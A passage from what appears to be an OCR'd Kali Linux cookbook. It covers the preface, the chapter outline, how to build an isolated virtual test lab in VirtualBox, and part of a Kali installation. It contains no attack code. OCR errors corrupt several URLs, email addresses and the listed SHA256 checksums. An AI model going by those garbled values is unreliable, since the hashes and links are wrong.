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Preface

Kali Linux, the most popular security testing platform available today, provides a means
for individuals from all walks of life to become more experienced with penetration
testing and information security. Kali is not only the cornerstone of many security
penetration testing programs, but also has a tremendous community of users who share
code, methods, and experiences to help even the most seasoned security practitioners
become more effective. As a platform, Kali Linux is quite versatile. It can be run from
bootable media, installed onto hardware platforms, or run in virtual environments. It can
be enhanced with any number of tools available outside of the native distribution (and
we will demonstrate this in the following chapters). It truly gives you the means to have
a single platform to work from, in any format you like, without the need for expensive
investments in hardware and software.

With the rise of malicious actors and malware, and the increased focus on system and
network security, being able to understand how the attacker operates allows you to
become more effective at providing balanced and appropriate controls.

In this book, we will explore how to use Kali Linux as well as additional tools such as
Nexpose, Nessus, and OpenVAS to perform various types of penetration testing tasks.
We will cover how to set up an effective lab for testing purposes and we will also
cover many aspects of penetration testing, along with useful advice on how to go about
being successful in using the Kali Linux platform.
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What this book covers

Chapter 1, Installing Kali and the Lab Setup, documents best practices for setting up a
testing environment, where you can test the skills highlighted in this book.

Chapter 2, Reconnaissance and Scanning, enables you to learn the skills necessary to
gather information about your target environment. We will gather domain names, IP
subnets, hosts, routing information, as well as other useful information. You will also
learn how to keep track of this data, so we can refer to it in the future as we progress
through our penetration testing environment.

Chapter 3, Vulnerability Analysis, explains that once access to a network has been gained
and the systems within that network have been identified, the next step is to establish a
foothold and persistent access.

Chapter 4, Finding Exploits in the Target, takes the host information that we have
accumulated to determine the potential exploits to use against target machines and
services.

Chapter 5, Social Engineering, speaks about social engineering that can be employed
through electronic means and is also used in physical penetration testing and even data
gathering. We bend well-known natural tendencies to help us accomplish or obtain what
we want.

Chapter 6, Password Cracking, enables you to learn different techniques and tools to gain
knowledge of password hashes gained during various attacks, as well as the means to
reset these passwords if access is gained.

Chapter 7, Privilege Escalation, helps you to learn how to use a small foothold to expand
the scope of your breach, increase the admin level, and use lateral movement to
compromise more machines. In most cases, the initial point of a breach is not the
desired target, but just a means to get to the more valuable targets.

Chapter 8, Wireless Specific Recipes, explains that due to the ever growing adoption of
wireless networking, as well as the extended reach wireless signals can provide, we
will focus on how to gain access to these networks through a variety of means.

Chapter 9, Web and Database Specific Recipes, explains that evaluating the security of
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web applications and databases requires a unique set of tools that can be leveraged
against them. In the event that a web application is compromised, it is highly likely that
1t may then be used as a jumping off point for further network penetration.

Chapter 10, Maintaining Access, explains that once access has been gained to the target
environment, it is crucial to make sure that your access is maintained. Learn how to
maintain access and pivot into other areas of your target environment.
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What you need for this book

This book assumes a medium level of expertise on Linux operating systems, strong
knowledge of networking technologies, including both wired and wireless, moderate
experience with OS platform configuration, and moderate experience with general
information security concepts. This book will go through the process of setting up a
basic testing lab, the installation of Kali Linux, and the tools needed to perform network
reconnaissance, and exploitation. Because you will be running exercises against live
hosts, it is important that this environment is isolated from other non-test environments.

Kali Linux can be installed into a virtual environment such as VirtualBox or VMware,
or can be installed onto a dedicated hardware. This book requires that you have enough
compute resources for the Kali Linux installation as well as the target systems. In
addition to the minimum requirements for your hypervisor, minimum hardware or virtual
requirements are listed as follows:

e CPU: 10 cores
e Memory: 24 GB RAM
e Disk space: 260 GB

In this book, you will need the following software list:

Kali Linux 2017.x
VirtualBox
Windows XP
Windows 7
Windows 2008

Internet connectivity is required to install the necessary additional packages that must be
installed onto Kali Linux, depending on the recipe requirements.
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Who this book is for

To make best use of the content of this book, knowledge in networking, device
management, general information security concepts, and core operating systems is
required. Foundational knowledge of Kali Linux is also expected. Since Kali Linux
provides a tremendous number of tools for many different purposes, it is impossible to
cover all possible combinations of the available tools and their use. For more details on
all the tools available within Kali Linux, visit the official Kali Linux Tool page located
at https:/tools kali.org/. With that in mind, this book is intended to provide a more in-depth set
of recipes to take advantage of these tools to sharpen your knowledge of security
penetration testing and exploitation of insecure/undersecured environments.
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Sections

In this book, you will find several headings that appear frequently (Getting ready, How
to do 1t, How it works, There's more, and See also).

To give clear instructions on how to complete a recipe, we use these sections as
follows:
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Getting ready

This section tells you what to expect in the recipe, and describes how to set up any
software or any preliminary settings required for the recipe.
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How to do it...

This section contains the steps required to follow the recipe.
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How it works...

This section usually consists of a detailed explanation of what happened in the previous
section.
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There's more...

This section consists of additional information about the recipe in order to make the
reader more knowledgeable about the recipe.
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See also

This section provides helpful links to other useful information for the recipe.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Conventions

In this book, you will find a number of styles of text that distinguish between different
kinds of information. Here are some examples of these styles, and an explanation of
their meaning.

Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLs, user input, and Twitter handles are shown as follows:
"select /root/pocuments and type in your customer name".

Any command-line input or output is written as follows:

| wafw00f scanme.nmap.org

New terms and important words are shown in bold. Words that you see on the screen, in
menus or dialog boxes for example, appear in the text like this: "click on Apply."

0 Warnings or important notes appear like this

8 Tips and tricks appear like this.
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Readers feedback

Feedback from our readers is always welcome. Let us know what you think about this
book-what you liked or disliked. Reader feedback is important for us as it helps us
develop titles that you will really get the most out of.

To send us general feedback, simply email feeavackepacktpun.com, and mention the book's
title in the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing or
contributing to a book, see our author guide at www.packtpub.com/authors.
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Customer support

Now that you are the proud owner of a Packt book, we have a number of things to help
you to get the most from your purchase.
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Downloading the color images of this
book

We also provide you with a PDF file that has color images of the screenshots/diagrams
used in this book. The color images will help you better understand the changes in the
output. You can download this file from https:/www.packtpub.comysites/default/files/downloads/KaliLinu
xCookbookSecondEdition ColorImages.pdf.
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Errata

Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books-maybe a mistake in the text or the
code-we would be grateful if you could report this to us. By doing so, you can save
other readers from frustration and help us improve subsequent versions of this book. If
you find any errata, please report them by visiting http://www.packtpub.com/submit-errata,
selecting your book, clicking on the Errata Submission Form link, and entering the
details of your errata. Once your errata are verified, your submission will be accepted
and the errata will be uploaded to our website or added to any list of existing errata
under the Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/content/support and
enter the name of the book in the search field. The required information will appear
under the Errata section.
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Piracy

Piracy of copyrighted material on the Internet is an ongoing problem across all media.
At Packt, we take the protection of our copyright and licenses very seriously. If you
come across any illegal copies of our works in any form on the Internet, please provide
us with the location address or website name immediately so that we can pursue a
remedy.

Please contact us at copyrigntepacktpun.con With a link to the suspected pirated material.

We appreciate your help in protecting our authors and our ability to bring you valuable
content.
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Questions

If you have a problem with any aspect of this book, you can contact us at
questionsepacktpub.com, aNd we Will do our best to address the problem.
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Installing Kali and the Lab Setup

In this chapter, we will cover the following topics:

Lab architecture and considerations

Installing VirtualBox

Installing Kali on VirtualBox

Using Kali Linux from bootable media

Upgrading Kali Linux

Understanding the advanced customization and optimization of Kali
Installing Windows machines

Installing Metasploitable

Installing OWASP-BWA

Understanding hack me and other online resources
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Introduction

In order to set the stage for the rest of this book and to help you reproduce the

recipes and their output, I strongly recommend that you create a test environment where
you can run various tools that are included with Kali Linux. In this chapter, we will be
focusing on building our testing environment based on free or low-cost applications to
minimize cost.

Starting with installing the virtualization platform, VirtualBox, we will walk through a
few common installation techniques for Kali Linux; you will also learn how to update
and maintain your installation.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

L.ab architecture and considerations

In this section, we will discuss our lab design and provide some information that you
can use to expand it in the future.

As we begin to set up our lab, we want to take some time to discuss the lab setup and
some of the considerations that we will take when using the lab. Some of these
considerations are designed to make the lab more effective, while others are used for
the protection of the networks our lab is connected to. We also want you to be in a
position to easily expand or grow this network with other test machines as you master
the Kali recipes that follow.
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How to do it...

In this section, we will be discussing general topics as opposed to specific recipes.
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The hypervisor selection

Today, there are many different hypervisors that will allow you to run multiple virtual
machines on a single physical machine. For our specific purposes, we have chosen to
show you how to setup the initial lab in VirtualBox due to several compelling factors.
It's free to use, has multi-platform support, and it's able to run within your main
operating system. However, as we progress past the first chapter, we will be switching
to VMware ESXi. This will not affect recipes in any way between using VirtualBox and
VMware ESXi. Our main reason for switching is the amount of compute resources that
are available to us in our dedicated lab. We have the ability to run many virtual
machines at once, and we will have the ability to insert firewalls and other security
devices between our Kali instance and our testing hosts, as needed. We also have the
flexibility to create more complex environments.

If, for any reason, you are looking to build a larger test network or have a different
hypervisor of choice that better suits your purposes, feel free to use it, as we will
assume you will be able to translate our instructions between the different hypervisors.
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The hypervisor networking

In our lab, we are going to be using two networks within VirtualBox: a NAT network
and a host-only network. Our Kali box will be connected to both the networks, so it can
communicate with devices on the internet, download updates, and get software packages
as needed. Our target machines will only be connected to the host-only network. The
host-only network can only talk within the host and among other devices connected to
the host-only network. It cannot communicate through your Ethernet or wireless
networks. This setup is extremely critical to our testing environment, as we do not ever
want to expose our testing hosts to the outside world, as they are very vulnerable and
will be hacked rather quickly.

To further protect the networks that your lab 1s connected to, we would actually suggest
disconnecting the virtual adapter of the Kali virtual machine that connects to the NAT
network, unless specifically required for the recipe operation. This way, your network
1s protected from accidental exposures to any attacks you may be sourcing from Kali.
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Vulnerable workstations

One of the many questions frequently asked is why we soften machines or use machines
that have vulnerabilities. The fact is that a properly patched, properly configured, and
properly hardened machine is quite difficult to get into. Penetration testing is not trying
to get through to hardened devices but looking specifically for those devices that have
vulnerabilities. In a typical engagement, you may find only one or two machines that
have vulnerabilities. You can then use these machines to gain a foothold into an
environment to compromise other more hardened machines. If you start doing regular
engagements as a penetration tester, you will be surprised by just how many machines
you may be able to find that have vulnerabilities. This is especially true with the
proliferation of low cost Internet of Things (IoT) devices such as internet connected
cameras, thermostats, automation systems, and monitoring. These devices often run
Linux-type embedded operating systems and are rarely patched and often overlooked.
More importantly, they are often riddled with bugs and vulnerabilities that we can use
for our purposes.
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Installing VirtualBox

To set the foundation for our lab, we will be using VirtualBox as a virtual hardware
platform to host our images. This recipe will outline the steps necessary to do so. In the
event that you wish to use an alternate virtualization platform, the same general
principles will apply.

When it comes to learning a new set of skills or sharpening the ones you already have,
the importance of a testing environment cannot be overstated. It is imperative that you
have the means to test against systems in a known state so that you can validate the
results of your tests.

One method of saving resources, both physical hardware and computing resources, is to
utilize a virtual environment where your testing devices reside. One very popular
example of a virtualization platform is Oracle's VirtualBox—a purpose build
virtualization environment designed for use with x86 platforms that can host many
virtual machines on one physical computer. This allows for the sharing of resources
such as disk, RAM, CPU, and so on. Additionally, because VirtualBox supports
importing and exporting virtual appliances, resources can be easily moved, shared, and
SO on.
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Getting ready

To prepare for the use of VirtualBox for the remainder of this book, we will need to
ensure that we have enough resources on our server to be able to run several of the
virtual guests at the same time. The following chart highlights the amount of resources
that each of our intended guest systems will require:

Name Disk required | Memory required | CPU required | Chapters used
Kali Linux 80 GB 8 GB 2 1-10
Metasploitable 65 GB 4 GB | 1,2,4-7,10
Ubuntu 16.4 LTS 15 GB 2 Gb 1 1,6,10
Windows XP SP3 10 GB 1 GB 1 1,2,4-7,10
Windows 7 - host 1 10 GB (thin) | 2 GB 1 1-7

Windows 7 - host 2 10 GB (thin) | 2 GB 1 1-7

Windows 2008 Server | 25 GB (thin) | 2 GB 1 1-7
OWASP-BWA 10 GB 1 GB 1 1,9

VulnOS 32 GB 1 GB 1 1,7
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How to do it...

In this section, we will build out an environment that will allow you to perform security
testing without the need for physical hardware:

1.

Ensure that you have the following resources free on your host machine to support
the system combinations mentioned in preceding list. In totality, you will need the
following in addition to the resources needed by VirtualBox itself:

e 5CPU

e 1500+ GB free disk space

e 16 GB free memory
Download the appropriate version of VirtualBox for your lab environment from ww
w.virtualbox.org.

available from the VirtualBox manual, which can be found at https//www.virtu
albox.org/manual/chO1.html.

8 It would also be good to familiarize yourself with the detailed options

3. Once you have downloaded the installer, locate it, and start the installation. As the

application begins the installation, you will see the following dialog boxes. As of
the time of writing this book, the version available was 5.1.8. When you are
greeted with the dialog box seen in the following figure, select Next:

]ﬂ Oracle VM VirtualBox 5.1.18 Setup *
Welcome to the Oracle VM
« VirtualBox 5.1.18 Setup

Wizard
The Setup Wizard will install Orade VM VirtualBox 5.1.18 on
your computer. Clicdk Next to continue or Cancel to exit the

/ Setup Wizard.

Version 5.1.13 Cancel

Initial installation screen

4. When given the option at the first Custom Setup screen, as seen in the following

figure, leave the default options in place, and select Next:
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ﬂ Oracle VM VirtualBox 5.1.18 Setup X

Custom Setup
Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

'hd|] VirtualBox Application Oracle VM VirtualBox 5.1.18
e — s VirtualBox USB Support application.

- =3 = | VirtualBox Networking
......... j = \.-'!rb.la:an Dekied] ll‘detwnrlku This feature requires 170ME on
""""" = - | VirtualBox Host-Only Netwe | w0 e b drive, Tthas 3of 3

i = v| VirtualBox Python 2.x Support subfeatures selected. The
subfeatures require 716KE on yo...

£ >

Location: C:'Program Files\Orade\WirtualBox, Bt

Version 5.1.18 Disk Usage = Back Cancel

First custom setup screen

5. At the second Custom Setup screen, as seen in the following figure, review the
options and determine which are appropriate to your preferences, and select Next:

ﬁ] Oracle VM VirtualBox 5.1.18 Setup X

Custom Setup
Select the way you want features to be installed.

Please choose from the options below:

Zi:reate start menu entries:

Create a shortcut on the desktop
Create a shortcut in the Quick Launch Bar

Register file assodations

Version 5.1.18 < Back Cancel

Second custom setup screen

If you leave Register file associations, this will configure your system to
use VirtualBox, to open virtual disk images automatically.
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6. After the basic configuration options have been decided, the setup will now begin
to make changes to the host computer. One such step is the installation of the
dedicated virtual network adapters that allow VirtualBox to provide different
options in regard to how your systems use networking. During the installation of
these drivers, you may experience a brief loss of connectivity; so when prompted,
acknowledge this fact by selecting Yes.

7. Once ready to kick off the installation, select Install from the next dialog box, and
wait until the installation process is complete.

During the installation process, you will be prompted to allow the
installation of device drivers. These drivers are predominantly used for
the virtual network devices. You may choose to trust device drivers signed
by Oracle in the future, or leave that option unchecked.

8. Once the installation is complete, you will be given the option to finish, or finish
and then start VirtualBox.

Depending on what other uses for this lab you may have in the future, this

would be a good time to install the VirtualBox expansion set that includes
8 support for the USB 2.0 and 3.0 USB controllers, host web camera, RDP

services, and other features. It is recommended that you install these at this
time before starting VirtualBox.

9. Once you start VirtualBox, you will need to confirm the settings for network
connectivity. You are going to want to find the Preferences item under the
Virtual Box menu heading; now, select it. Then, select the network option along the
top, and you will be presented with the following window:
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® ® VirtualBox - Network
O —
B o9 @ ™
General Input Update Language Display Network Extensions Proxy
Host-only Networks
Active Name @
v NatNetwork
Rl
Cancel IS

VirtualBox preferences dialog - network

10. By default, NatNetwork should already be created for you. However, if one is not
displayed, click on the + button on the top right to add one.

In the next section, we will be creating networks that exist only on your
PC. Although these networks will only be seen on your PC, we strongly
recommend that you use subnets that do not coincide with any of

the existing networks that you may have access to.

11. Once added, review the setup of the network by clicking on the wrench icon, on the
lower-right part, and you will be presented with the following dialog box. You can
modify the IP subnet as needed. Ensure that Enable Network is selected, and click
on OK to continue:

VirtualBox - Network

o6 @B @ B N

General Input Update Language Display Network Extensions Proxy

Enable Network

Aﬁtive a Network Name: NatNetwork bl
vl Nal

Network CIDR:  10.0.2.0/24 =

Network Options: Supports DHCP &

Supports IPv6
Advertise Default IPv6 Route

Port Forwarding

cancel | (TSN

- OK

NatNetwork configuration dialog
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12. Create our test network. Select Host-only Networks. By default, no network is
created, so click on the + icon in the upper right-hand corner to create the vboxnet0
network:

[ NON ) VirtualBox - Network
- o @ L
General Input Update Language Display Network Extensions Proxy
NAT Networks Host-only Networks
e
=
Cancel | LS

Host-only networks dialog box

13. Ensure that the vboxnet0 interface is highlighted, and click on the wrench icon in
the lower-right part of the screen. An [Pv4 address will already be populated for
you. If you are putting this into an existing lab network, or if this range is used in
other places in your existing environment, feel free to designate a different network
if necessary, as this will be your dirty network for testing purposes:

VirtualBox - Network

aE O 0 @ = = |

Vet General Input Update Language Display Network Extensions Proxy t

J

N -‘i'i'"‘ﬁ 4 DHCP Server

L

L IPv4 Address: 192.168.56.1|

IPv4 Network Mask: 255.255.255.0
IPv6 Address:

IPv6 Network Mask Length: 0

Cancel | (LS

Host-only network adapter dialog

14. Let's review and modify the DHCP Server section by selecting it. The defaults
should be fine, but you can adjust them as you feel appropriate.
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Do not use the whole range for DHCP, as you may want to statically assign
IP Addresses to servers on your dirty network.

L © VirtualBox - Network

w OO @ w o
el General Input Update Language Display Network Extensions Proxy
K s G

v Adapter [0 Ll

L Enable Server

v

Server Address: 192.168.56.100
Server Mask: 255.255.255.0
Lower Address Bound: 192.168.56.101

Upper Address Bound: 192.168.56.254

cancel (IS

15. Once these steps have been completed, your VirtualBox environment is ready for
the next section.
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How it works...

In this section, we will download and install the virtual compute environment,
Virtual Box, to build the base of our test lab. We configured the basic network
configurations and set up DHCP to help with dynamic host networking,
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Installing Kali on VirtualBox

In this section, we will install Kali Linux into a virtual host in the VirtualBox
environment, as we described in the previous section.

Kali Linux (Kali) is based on the Debian operating system; and it is a self-contained
environment that includes hundreds of tools that can be used for security auditing and
testing purposes. It provides a platform, which you can use to build your penetration
testing skills. It is one of the most widely used platforms for this purpose.

Kali comes in a variety of different flavors — we will be using the full Kali install using
the Gnome windows manager, inside an Oracle VirtualBox environment. However, Kali
can be installed on any hypervisor; it can be non-destructively run from a USB or CD
drive, on Raspberry Pi's, or other similar single board computers. It supports
installation on both the Intel and Arm processors.

When you first go to the Kali website and look at the downloads section (www.kali.org/down
loads), 1t may be a bit overwhelming with all the options at first, so let's run through some
of them, so you understand the differences.

With reference to the following image, you will note that the top two entries, the Kali 64
bit and the Kali 32 bit, are the default full install of the operating system using the
Gnome windows manager.

The next two entries denoted by lightare a minimal install of Kali with the Gnome
Windows manager for some space constrained systems. You can use this along with
manually installing only the needed tools for your specific purposes.

The next four entries denoted with e17, Mate, Xfce, and LXDE are full installs of the
Kali operating system, each using a different graphical windows manager for its desktop
interface. If you happen to have an older device, consider running Kali with the XFCE
interface, as it requires less resources than Gnome. I would only suggest these if you are
familiar with them, and opt not to use the default Gnome windows manager or have a
specific purpose to do so such as resource constraints.

The last two entries, armhf and armel, are for those two flavors of the arm architecture
with armhf supporting the older ARMv4 instruction set, and the armel supporting the
new version 7 instruction set.
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Please also note that the sha256 value 1s displayed. This allows you to validate that you
have downloaded an unaltered version of the image:

Image Name Download Size Version sha256sum

Kali 64 bit ISO | Torrent 2.6G 2017.1 49b1¢5769b909220060dc4c0e 112609d972270a80d259¢05773101df62e 11e9d
Kali 32 bit ISO | Torrent 2.7G 2017.1 501b3747e5a7c698217392fed9ec21 dacee277404500fc49d4a0ee82625aabe
Kali 64 bit Light ISO | Torrent 0.8G6 2017.1 5¢0f6300bf9842b724df92cb20e463714561£fc03029cdeb2 12f39024422e9H0

Kali 32 bit Light 1SO | Torrent 0.8G 2017.1 6c83101ecf8702¢7d93d32562e822b639d5¢577314b448¢3b8330995¢0f07e0f
Kali 64 bit e17 ISO | Torrent 2.4G6 2017.1 2e293cf679£3824f17d090a272ccb13d7619e66d4502374154186¢12891fb99c
Kali 64 bit Mate ISO | Torrent 2.6G 2017.1 3ea748228¢5F50d80f020acdbeasf0398ee90242bb4413¢12985¢1865186cade
Kali 64 bit Xfce ISO | Torrent 2.5G 2017.1 8a17c2f54850585760b9d32a22e26df9228395b401753fa029b298aefdc4 593
Kali 64 bit LXDE 1SO | Torrent 2.5G6 2017.1 35eac65aaaabba8 188dfd963e45bTbad76e0684¢772 1c7d232cf18320bTcac3b
Kali armhf Image | Torrent 0.5G 2017.1 a751992a8a3d7b64561bc03fcd6e3ff8b94743c8769cectaadh719f04{7cbb63

Kali armel Image | Torrent 0.4G 2017.1 180414422196f0797cleas5t3c18682bc4b3ced871ch3e874e90de52dd4af87Tc

Kali.org download page, image section, as of May 2017

If you scroll down the page a bit more, you will see the section that allows you to
download pre-prepared images that can automatically run without going through the
setup process; in addition, it supports various hypervisors, or, in the case of ARM, has
1mages and scripts for popular arm-based computers, such as Raspberry Pi's or other
popular arm-based devices.

We will not be using these images as we want to walk you through a full
installation and setup of Kali, so you have a better understanding of the
process.

Download Kali Linux VMware, VirtualBox and ARM images

Are you looking for Kali Linux VMWare, VirtualBox or ARM images? The good folks at Offensive Security (who are also
the funders, founders, and developers of Kali Linux) have generated alternate flavours of Kali using the same build
infrastructure as the official Kali releases. VMWare, VirtualBox and ARM architecture Kali images produced by Offensive
Security can be found on the Official Offensive Security Kali Linux Virtual Images and Offensive Security Kali Linux ARM
Images pages respectively.

KALI VIRTUAL IMAGES KALI ARM IMAGES KALI ARM BUILD SCRIPTS

Kali.org download page, hypervisor and arm section, as of May 2017
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Getting ready

Before installing Kali Linux, we need to ensure the minimum requirements are met:

Your computer is connected to the internet

You have a minimum of 4 GB of RAM (8 GB is recommended)

You have a minimum of 25 GB hard drive space available (80 GB 1s recommended
for Chapter 3, Vulnerability Analysis)

Virtual Box installation is complete and currently running

Download the appropriate Kali disk image from https://www.kali.org/downloads/

For our purposes, we will be using the Kali 64 bit version. Please refer to the recipe
introduction for more details about these options.
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How to do it...

Let's begin the process of installing Kali:

1. Click on New in the upper left-hand corner of the screen:

Oracle VM VirtualBox Manager

ot e |

New

Welcome to VirtualBox!

Main VirtualBox screen

2. Name your virtual machine xa1i 1inux, select type as Linux, and select the version as
Linux 2.6 / 3.x / 4.x (64-bit). Press the Continue button when complete:

Name and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install on
it. The name you choose will be used throughout VirtualBox to
identify this machine.

Name: Kali Lil'IUX|
64
64

Type: Linux kol | y
yp! [~ By -
i)

Version:  Linux 2.6 / 3.x / 4.x (64-bit)

Name and operating system selection screen

3. Memory size: You will be presented with a slider for memory size, with the ability
to manually enter a value: in the box type in 4096. The 4 GB of memory will
provide a smooth and responsive Kali install. Click on Continue.

4. Hard disk: select Create a virtual hard disk now and press on Create.

size of 8 GB. Please note that this 1s not sufficient for a full Kali install,

0 You will note that on this screen, it will refer to a recommended hard disk
and we will be allowed to change it in a future step.

5. Hard disk file type: take the default file type of VDI (VirtualBox Disk Image).
Select Continue.

If you are interested in having easy compatibility with other hypervisors,
ﬂ you can select one of the other types available. Virtual Hard Disk (VHD)
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WV is widely used for Windows HyperV. Virtual Machine Disk (VMD) is
widely used for VMware deployments.

6. Regarding the storage on physical hard disk, leave the default of Dynamically
allocated and click on Continue.

If you are running an older spinning disk versus a solid state drive and
have the available space on the disk, the recommendation would be to use
Fixed size.

7. File location and size: leave the name and location with the default, and either
move the slider or enter 25.00 GB directly into the box. Click on Create.

25 GB is a nice size for the install plus some extras. If you have limited

space requirements please see our discussions of the various Kali image
and installation options for more guidance in the introduction section of

this recipe.

8. Click on Kali Linux to highlight it; then click on Settings:

|

@ Oracle VM VirtualBox Manager
w ?, . -
New Settings Start
5;'3/"\ Kali Linux = General & Preview
i Bpneren ol Name: Kali Linux

Operating System: Linux 2.6 / 3.x /

4.x (64-bit)

Base Memory: 4096 MB

Boot Order: Floppy, Optical, Hard
Disk

Acceleration: VT-x/AMD-V, Nested
Paging, KVM
Paravirtualization

|
4] system £,

E Display

Video Memory: 16 MB
Remote Desktop Server: Disabled
Video Capture: Disabled

z Storage

Controller: IDE
IDE Secondary Master: [Optical Drive] Empty
Controller: SATA
SATA Port 0: Kali Linux.vdi (Normal, 25.00 GB)

#  Audio

Host Driver: CoreAudio
Cnntrallar: Ifd ACQ7

Display the virtual machine settings window
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VirtualBox main screen - with Kali Linux VM shown

9. From here, we will select the Storage option. Originally under Controller: IDE it
will say Empty. Click to highlight Empty. Click on the circular disk icon to the
right of IDE Secondary Master. An option dialog will be brought up, and
select Choose Virtual Optical Disk File. This will bring up a file manager dialog,
which will allow you to find and select the Kali image you downloaded
previously. Once completed, your screen should look similar to the following;

Oracle VM VirtualBox Manager
Kali Linux - Storage

()
¢

_ e -~ e .
New !I ‘ﬂ E @ M'-J Q Qi ‘f)
D | General System Display Storage Audio Network Ports Shared Folders User Interface B
28 % Storage Tree Attributes
& Controller: IDE Optical Drive: ~ IDE Secondary Master &
- @ kali-linux-2016.2-amd64.iso
& Controller: SATA L Chtliedl =
[ Kali Linux.vdi Information
Type: Image
Size: 2.87GB
Location: /Users/cschultz/Desktop/kali-linux... |
Attached to: --

Cancel

Kali Linux VirtualBox settings storage option

10. Click on Network and verify that Adapter 1 shows attached to NAT Network with
the name NatNetwork:
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L NN Kali Linux - Network

i-|M|L.I g W 5 @ [

General System Display Storage Audio Metwork Farts Shared Folders User Interface

s e
hdapte

Adapter 2 Adapter3  Adapter 4

2 Enable Network Adapter k
Attached to: | NAT Network ﬁ
MName: NatNetwork_ a
[+ Advanced

cancel (I

Kali Linux - network adapter 1

11. Click on Adapter 2 and for Attached to select Host-only Adapter with the Name
as vboxnet0, then click on OK:

& Metasploitable - Network

'-IIIHQQHEEQ.J =

General System Disalay Storage Audio Metwork Ports Shared Folders User Interface

Adapter 2  Adapter 3 Adapter 4

Enable Network Adapter
Attached te:  Host-only Adapter ﬁ

Mame: | vboxnetQ ﬁ

[ Advanced

cance (I

Kali Linux - network adapter 2

12. We are brought back to the main manager screen. Let's click on Kali Linux to
highlight it, and then click on Start:

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Oracle VM VirtualBox Manager

A"'\/\,\r'g VU*SJ \/ 7
New Settings > Start
5 Kali Linux = General = Preview
(26| @ P ff
(2% © Powered O Name: Kali Linux

Operating System: Linux 2.6 / 3.x/

4.x (64-bit)
[«] system Kali Linux

Base Memory: 4096 MB

Boot Order: Floppy, Optical, Hard
Disk

Acceleration: VT-x/AMD-V, Nested
Paging, KVM
Paravirtualization

=l Display

Video Memory: 16 MB
Remote Desktop Server: Disabled
Video Capture: Disabled

2 Storage

Controller: IDE

IDE Secondary Master: [Optical Drive] kali-linux-2016.2-amd64.iso (2.87 GB)
Controller: SATA

SATA Port 0: Kali Linux.vdi (Normal, 25.00 GB)

¢ Audio

Host Driver: CoreAudio
Cnontrollar: ICH ACQ7

Start selected virtual machines

VirtualBox manager screen

13. We will now be brought to the main Kali installation screen. Let's click on
Graphical install:
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@ @ Kali Linux [Running]

“the quieter you become, the HIOTEGWYOU 4re able to hear”
Boot menu

Live (amdb4)

Live (amd64 failsafe)

Live (forensic mode)

Live USB Persistence (check kali.org-sprst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

BOS ™[O Leftst

Kali main installation screen

14. Select an appropriate language; for our use, we will select English and click on
Continue:
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15.

16.

D Kali Linux [Running]
You have the Auto capture keyboard option turned on. This will cause the Virtual Machine to automatically capture the keyboard every Q &g
L
The Virtual Machine reports that the guest OS supports mouse pointer integration. This means that you do not need to capture the @ 5w T
Seiell a tailjuaye
Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.
Language:
Chinese (Simplified) - =3 (&#) (~]
Chinese (Traditional) - 3z(%§8)
Croatian - Hrvatski 1
Czech - Cestina
Danish - Dansk
Dutch - Nederlands
Dzongkha - Em
Esperanto - Esperanto
Estonian - Eesti
Finnish - Suomi
French - Francais
Galician - Galego
Georgian - JoGoamo
German - Deutsch
Groal I =) TS (]
| Screenshot | | GoBack | | Continue I
B & &™) Left 8

Select a language screen

You may click on X on the boxes at the top, if any, as they are only
informational.

Select the proper keymap for your region. For our purposes, we will select
American English. Then, click on Continue. The VM will then start by loading
installer components. This should only take a moment or two based on the
performance of your device. It will also detect and connect to your network
automatically.

You will be brought to a screen where you must enter the hostname. Let's simply
call our install xa1: and click on Continue:
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Kali Linux [Running]

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your

hostname should be, consult your network administrator. If you are setting up your own home network,

you can make something up here.

Hostname:

[kal]

Screenshot Go Back | Coﬂtinue ‘
B & @ g (] Left 38

Kali configure network screen

17. The next screen will ask for your domain name. We will leave this blank, and
simply click on Continue.

18. Our next screen will ask us to enter a root password. Select a strong password.
Enter it for a second time to validate it, and click on Continue. The install will
continue through some further steps.

19. Once completed, you will be brought to a configure clock screen. Select the
appropriate time zone; for our purposes, we will select Eastern, then click on
Continue:
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® Kali Linux [Running]

Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language" and select a
country that uses the desired time zone (the country where you live or are located).
Select your time zone:

Central

Mountain
Pacific
Alaska
Hawaii
Arizona
East Indiana

Samoa

Screenshot Go Back ‘| Continue ‘

R
BOBs I ME TS0 Left %

Configure clock screen

20. Partitioning disks: for simplicity, we will select Guided - use entire disk, and click
on Continue:
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Kali Linux [Running]

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you

prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM
Guided - use entire disk and set up encrypted LVM
Manual

k

Go Back ‘[ Continue ‘

@) w3 . e (O (D () Left 38

Partition disks

It's important to note that, for our example here, we want to just keep it
straightforward. When actually setting this up for production testing, I
have a dedicated laptop and use a fully encrypted LVM. This would be a
recommendation when you move from working in a sandbox and go to
actual engagements; as a pen tester, you need to protect your work as well
as your client's information. Encryption, in that case, 1s paramount.

You may also want to keep in mind crossing borders with encrypted
laptops and what the border security rights are. In the US, even for US
citizens, they can ask for your passwords to get into the machines, remove
them from your immediate control, and confiscate them. You may want to
take situations like this into consideration; you can ship that encrypted
laptop to and from the destination as needed, or complete your reports
prior to leaving, and wipe the hard drive. Remember that deleting files is
not securely wiping information - you can use a tool such as Darik's Boot
and Nuke (DBAN) https:/dban.org/ and use s220.22-m wipe methods.

21. You will be brought to a partition disks screen for confirmation. Click on the disk
to highlight it, and click on Continue:
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Kali Linux [Running]

Partition disks

Note that all data on the disk you select will be erased, but not before you have confirmed that you
really want to make the changes.

Select disk to partition:

